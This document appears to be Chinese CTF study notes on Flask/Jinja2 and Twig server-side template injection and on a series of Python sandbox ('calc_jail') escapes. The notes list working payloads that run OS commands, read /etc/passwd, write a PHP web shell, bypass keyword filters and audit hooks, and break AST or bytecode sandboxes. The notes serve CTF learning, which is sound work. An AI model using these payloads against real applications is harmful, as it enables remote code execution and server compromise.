攻防世界 Web_python_template_injection
特殊点
无过滤;
链接
平台里有题解
引申知识点
如何找到想要的模块?
方法1:().__class__.__base__.__subclasses__(),这样得到的是一个列表,需要通过索引号找到需要的模块。可以复制回显到本地编辑器,ctrl+f 找到想要的模块,然后数逗号(一般130以内就找到了)。
方法2:可以写 python 脚本爆破,遍历().__class__.__base__.__subclasses__()[i].__name__即可。
方法3:可以用jinja2专属的 POC。(最推荐,最有效)
方法4:无需祖先的利用链
{{ config.__init__.__globals__['__builtins__']['__import__']('os').system('id') }}
{{ lipsum.__globals__['__builtins__']['__import__']('os').system('id') }}
get_flashed_messages 以及 url_for 也有相同链路
方法5:不演了,上工具。[CSCCTF 2019 Qual] FlaskLight
特殊点
关键词
globals被过滤。通过 字符串拼接 / 属性链 绕过关键字匹配。
链接
引申知识点
如何绕过过滤?
1.方括号[]过滤:
使用 get 方法,如:''.__class__.__mro__.__getitem(1)__.__subclasses__().__getitem(133)__.__init__.__globals__.get('popen')('dir').read()。即将列表的[]改为__getitem()__,将字典的[]改为 get()。
或 attr 绕过:{{ ''.__class__ }} -> {{ ''|attr('__class__') }}
2.引号过滤:
''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__.[request.args.p1](request.args.p2).read(),在 url 中传入p1&p2即可,注意此时传入的均为字符串。
3.关键字过滤:
使用__getattribute__方法。如:''.__getattribute__('__cla'+'ss__')....。这样__getattribute__('__cla'+'ss__')返回
join绕过:{{ ''.__class__ }} -> {{ ''|attr(['__', 'cla', 'ss', '__']|join) }}
reverse绕过:{{ ''.__class__ }} -> {{ '__ssalc__'|reverse }}
unicode绕过:{{ ''.__class__ }} -> {{ ''|attr('__cla\x73s__') }}
如果是在[]或者()里面,直接 '__global'+'s__'或者'__global'~'s__'就行了
4.'.'过滤:
[]绕过:{{ ''.__class__ }} -> {{ ''['__class__'] }}
attr绕过:{{ ''.__class__ }} -> {{ ''|attr('__class__') }},事实上,attr与[]和.访问属性是等价的。
[GYCTF 2020] FlaskApp
特殊点
关键字基本全被过滤。
通过 字符串拼接、
getattr链或可达对象(如config/request)实现绕过。
链接
引申知识点
这题存在 PIN 码破解的方式,但是非常复杂。
2024 DSBCTF ezzz_ssti
特殊点
长度限制:payload 需短小(这题是40字符)。
利用
config变量绕过长度限制。
链接
引申知识点
config长度绕过?
利用了一个在Jinja2环境中通常存在的、可变的、并且在同一次请求或会话中持续存在的对象。在Flask应用中就是config。
config对象本质上像一个Python字典,可以随时向其中添加新的键值对。也可以通过{{config}}随时查看。在会话中持续存在。
语法:
{%set config.update(a=config.update)%} 赋值,通过 config. 来调用
{%set x=config.a(f=lipsum.__globals__)%} 此时 config.a 等价于 config.update
... 一步一步拼起来
{{config.p("ls").read()}} 最后直接用[GHCTF 2025] upload?SSTI!
特殊点
request 绕过:从
request可达对象链构造能力。Unicode 绕过:同形/编码技巧。
一定的代码审计。
文件上传
链接
引申知识点
绕过同上,本题存在类似一句话木马的文件上传。[BJDCTF 2020] Cookie is so stable
特殊点
Twig 引擎(与 Jinja2 有区别):语法与可达对象不同。
请求抓包(主要是因为这题说是 cookie 了)
链接
引申知识点
小编也不是很了解,只能弄一些常见 payload 了。
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
{{_self.env.getFilter("whoami")}}
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{["id"]|map("system")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{['cat /etc/passwd']|filter('system')}}calc_jail_beginner
链接
注意事项
当你使用 nssctf 时,需要在cmd 中使用形如
nc node5.anna.nssctf.cn 29932的命令进行连接。在题解部分,作者给出了源代码,你完全可以在本地执行源代码并做题。如果出现
cat: flag: No such file or directory说明你的逃逸成功了。
题目部分知识点
calc_jail_beginner
难点:
- 和ssti 相比,主要是直接得到了 eval,也就是这题不需要从()开始向上找了
知识点:
eval(): 执行字符串形式的Python代码。__import__('os').system('sh'): 动态导入os模块并执行系统命令以获取shell。
calc_jail_beginner_level1
难点:
- 由于 getattr 只能访问属性,无法构造包含'"id\`的对象开头的 payload
- 如果想要使用下一题的 payload,得额外套一层 eval()。这是因为 input()会直接被执行,但是'input()'需要消耗一层 eval 来执行
知识点:
chr(): 通过ASCII码构造字符串,绕过字符黑名单(如'b','i')。 注意这个拼起来的已经是字符串了,不再需要''包围。getattr(object, 'attr_name'): 以字符串形式访问对象属性,配合chr()使用可访问含被禁字符的属性(如__base__)。- 对象继承链利用:
().__class__.__base__.__subclasses__(),用于遍历所有已加载的类,寻找可利用的模块(如os._wrap_close)。 __init__.__globals__: 从一个类的__init__方法访问其所在模块的全局命名空间,从中获取system等函数。
calc_jail_beginner_level2
难点:
知识点:
eval(input()): 可以创造一个新的、不受长度限制的输入机会,用于接收并执行第二阶段的完整RCE payload。事实上,这会绕过任何的过滤。因为 system 命令会 return 0。- 在输入的时候,由于
- 可以用下一题的 payload。
calc_jail_beginner_level3
难点:
知识点:
help(): 启动Python的交互式帮助系统。里面这么写的。
欢迎使用 Python 3.8 的帮助工具!
如果你是第一次使用 Python,强烈建议你查看网上的教程,网址是 https://docs.python.org/3.8/tutorial/。
输入任何模块、关键字或主题的名称,以获取有关编写 Python 程序和使用 Python 模块的帮助。要退出此帮助工具并返回解释器,只需键入 "quit"。
要获取可用模块、关键字、符号或主题的列表,可以分别键入 "modules"、"keywords"、"symbols" 或 "topics"。
每个模块都有一行简短的描述说明其功能;要列出名称或描述中包含特定字符串(如 "spam")的模块,可以键入 "modules spam"。
- `help()`环境下的命令执行: 在`help()`下的 os 交互界面中,输入 `!command` (如`!sh`) 可以执行系统命令。
python2 input
难点:
- 这题不能本地运行了,除非你有 python2 这种古老的东西。
知识点:
- Python 2
input()函数特性: Python 2的input()函数等同于eval(raw_input()),它会自动执行接收到的输入内容,直接导致远程代码执行。
calc_jail_beginner_level2.5
难点:
知识点:
breakpoint(): (Python 3.7+) 调用此函数会进入pdb(Python Debugger)交互式调试环境。pdb调试器利用: 在pdb环境中,原脚本的限制失效,可以直接执行任意Python代码。相当于直接用 python 了。- 还是可以用 help()。
lake lake lake
难点:
知识点:
globals(): 返回一个包含当前作用域所有全局变量的字典。通过eval()执行并打印其返回值,可以泄露程序中定义的全部全局变量。locals(): 如果你想知道的话,这个是临时变量。
l@ke l@ke l@ke
难点:
- help()可以被防止。原理是阻碍pydoc模块连接到终端。
知识点:
help('__main__'): 利用help()的文档生成功能进行信息泄露。__main__代表当前执行的主脚本模块。请求其帮助文档会列出该模块的所有信息,包括全局变量及其值。
calc_jail_beginner_level5
难点:
- 这题不能在本地运行。不过也没什么过滤。
知识点:
exec(code, global_dict): 这样做会将__builtins__(本质是个字典,可以被修改)与global_dict一起作为全局命名空间,这样就只能用__builtins__以及 global_dict 里面的变量与函数。- compile 只是将命令编为字节码,没什么特别的作用。
- 事实上,这题还有另一种做法。
class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"
# 这里secert_flag继承了str,修改了__str__(打印)__repr__(交互界面直接输出)
# 但是没有修改:用于拼接的 __add__ (对应 + 号),用于切片的 __getitem__ (对应 [:]),用于转换大小写的 .upper(), .lower()
# 而且它用的 str 的构造函数,也就是说 flag 在这个字符串里面。
class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))
# 与getattr相对,等价于self.flag_level5 = secret_flag(flag)
- 也就是说,先dir(my_flag)(输出所有属性和方法)发现 flag_level5 变量以后,完全可以用
''+my_flag.flag_level5直接得到 flag。
laKe laKe laKe
难点:
- 使用了audit_hook功能,也就是监听(钩子),从事件层面上过滤了函数事件。
- 生命周期问题,一个模块如果既没有进入全局变量(import ...),也没有没引用,就会在执行导入后立即被销毁。因此__import__是无法多次输入的。
- 需要预测梅森旋转法(mt19937)产生的随机数。由于本题没有回显,不能直接获取生成器的状态并在本地覆盖攻击。
知识点:
- 可以使用 cpython._PySys_ClearAuditHooks,很神奇就是了
- 海象运算符
:=:允许在表达式内部进行赋值操作,便于在单行eval中执行多个逻辑步骤。 - 列表执行技巧
[expr1, expr2, ...][-1]:在只允许单个表达式的环境中,通过列表构造来顺序执行多个表达式,并返回最后一个表达式的结果。 random.getstate()与random.setstate():获取并重置伪随机数生成器(mt19937)的内部状态,它是一个(version, state_tuple, gaussian_state)的三元组,只要得到中间值,即可预测输出。通过修改random状态元组中的计数器,可以预测并重现random.randint()的输出结果。
4 byte command
难点:
- 这题的意思是输入的长度只有4了。
- 考虑到没有命令注入那般强大的文件读写,就只能凭经验了。
知识点:
sh:一个长度为2字节的命令,用于在终端中启动一个shell。可以在自己的终端里试试。
calc_jail_beginner_level5.1
难点:
- 有多个文件,无法本地完成。
- 这题把__import__,eval删了,所以链路上涉及$'import'$$'eval'$的就全部失效了,(它们都是在__globals__的__builtins__加载的)。而且 import 依赖于__import__,eval 作为内置函数只存在于__builtins__,os 作为 python 自带的普通模块是无法被删除的。
知识点:
- 可以用和 level5 一样的特殊方法过去。
- 使用和 ssti 一样从''开始找的策略,看一看有没有有用的模块。
- 没有 ban os,所以通过子类列表寻找已隐式导入
os模块的类,例如os._wrap_close。
lak3 lak3 lak3()
难点:
知识点:
random.getstate()与random.setstate():利用随机数生成器的状态可控性来预测随机数,绕过需要直接执行命令的审计钩子。cpython._PySys_ClearAuditHooks:一个可以用来清除所有已注册审计钩子的函数(在此题中被提及,作为一种绕过思路)。
tyPe Ch@nnEl()
难点:
知识点:
type()函数侧信道:通过判断type()对不同布尔或整数值的返回结果(如<class 'bool'>vs<class 'int'>),进行盲注判断。string.encode():将字符串转换为字节序列。type(string.split()):通过已有对象的方法返回一个列表,再用type()获取list类本身。list(bytes_object):将字节序列转换为一个包含各字节对应ASCII码的整数列表。list.pop():在禁止使用中括号[]的情况下,从列表末尾弹出元素以进行访问。- 异或运算符
^:用于盲注比较,当a ^ b结果为0时,等价于a == b。
calc_jail_beginner_level4
难点:
知识点:
bytes([ascii, ...]).decode():在引号被禁用的情况下,通过提供ASCII码值的列表来构造任意字符串。object.__doc__:利用内置对象(如元组())的文档字符串,结合索引操作[],拼接出目标字符串(如 'system', 'sh')。
calc_jail_beginner_level4.0.5
难点:
知识点:
bytes([ascii, ...]).decode():通过ASCII码列表构造字符串。object.__doc__:通过文档字符串和索引拼接字符串。locals()/globals():可以用于查找在被del删除前已赋值给其他变量的函数。
calc_jail_beginner_level4.1
难点:
知识点:
- 通过
().__class__.__base__.__subclasses__()遍历子类,即使bytes内置函数被删除,也可以找到bytes类本身并重新使用它。 object.__doc__结合索引拼接字符串的技巧不受bytes函数被禁的影响。
calc_jail_beginner_level4.2
难点:
知识点:
str().join(iterable):在字符串拼接运算符+被禁用的情况下,使用join方法拼接一个由字符组成的列表来构造字符串。- 通过
().__class__.__base__.__subclasses__()找到并使用bytes类的方法依然有效。
calc_jail_beginner_level4.3
难点:
知识点:
str().join(iterable):用于替代+进行字符串拼接。- 通过
().__class__.__base__.__subclasses__()查找并使用bytes类,此方法不依赖于open或type函数。
好的,这是对您新提供的 CTF 题目及其解法的核心技术知识点总结。
calc_jail_beginner_level6
难点:
知识点:
sys.addaudithook:一个基于白名单事件(WHITED_EVENTS)的审计钩子,用于阻止白名单之外的所有敏感操作。__loader__.load_module(module_name):用于在import事件被审计钩子阻止时,绕过审计来加载模块。_posixsubprocess.fork_exec(...):一个低级别内部函数,用于直接创建新进程,可绕过对os.system、subprocess.Popen等高级别函数的审计钩子。
calc_jail_beginner_level6.1
难点:
知识点:
- 海象运算符
:=与列表构造[expr1, expr2, ...]:结合使用以在单次exec机会中执行多个逻辑语句。 _posixsubprocess.fork_exec(...):用于在受限环境中生成新进程。- 列表推导式或
itertools.count:通过循环快速、大量地调用fork_exec,利用竞争条件(Race Condition)来捕获一个可用的(尽管不稳定)Shell。
s@Fe safeeval
难点:
知识点:
pwnlib.util.safeeval.test_expr:一个通过检查 Python 字节码操作码(opcode)黑名单来实现的沙箱。lambda: 利用lambda表达式创建嵌套的代码对象(nested code object)。- 利用
safeeval检查的非递归缺陷:将包含不允许的操作码(如LOAD_NAME,CALL_FUNCTION)的逻辑封装在lambda函数体内。由于检查器仅扫描顶层代码对象,而不会深入检查由lambda生成的、存储在co_consts中的代码对象,从而绕过检测。
calc_jail_beginner_level7
难点:
知识点:
ast.walk: 沙箱通过遍历抽象语法树(AST)并检查节点类型黑名单来过滤输入。- 函数装饰器(Decorators):
@decorator语法在 AST 层面被解析为ClassDef或FunctionDef节点的一个属性(decorator_list),其本身不包含被禁用的ast.Call节点。 - 利用装饰器实现二次代码执行:构造
@exec \n @input \n class X: pass载荷。该载荷的 AST 可以通过检查,但在执行时,其效果等同于exec(input()),从而创造了一个新的、未经 AST 检查的代码执行入口。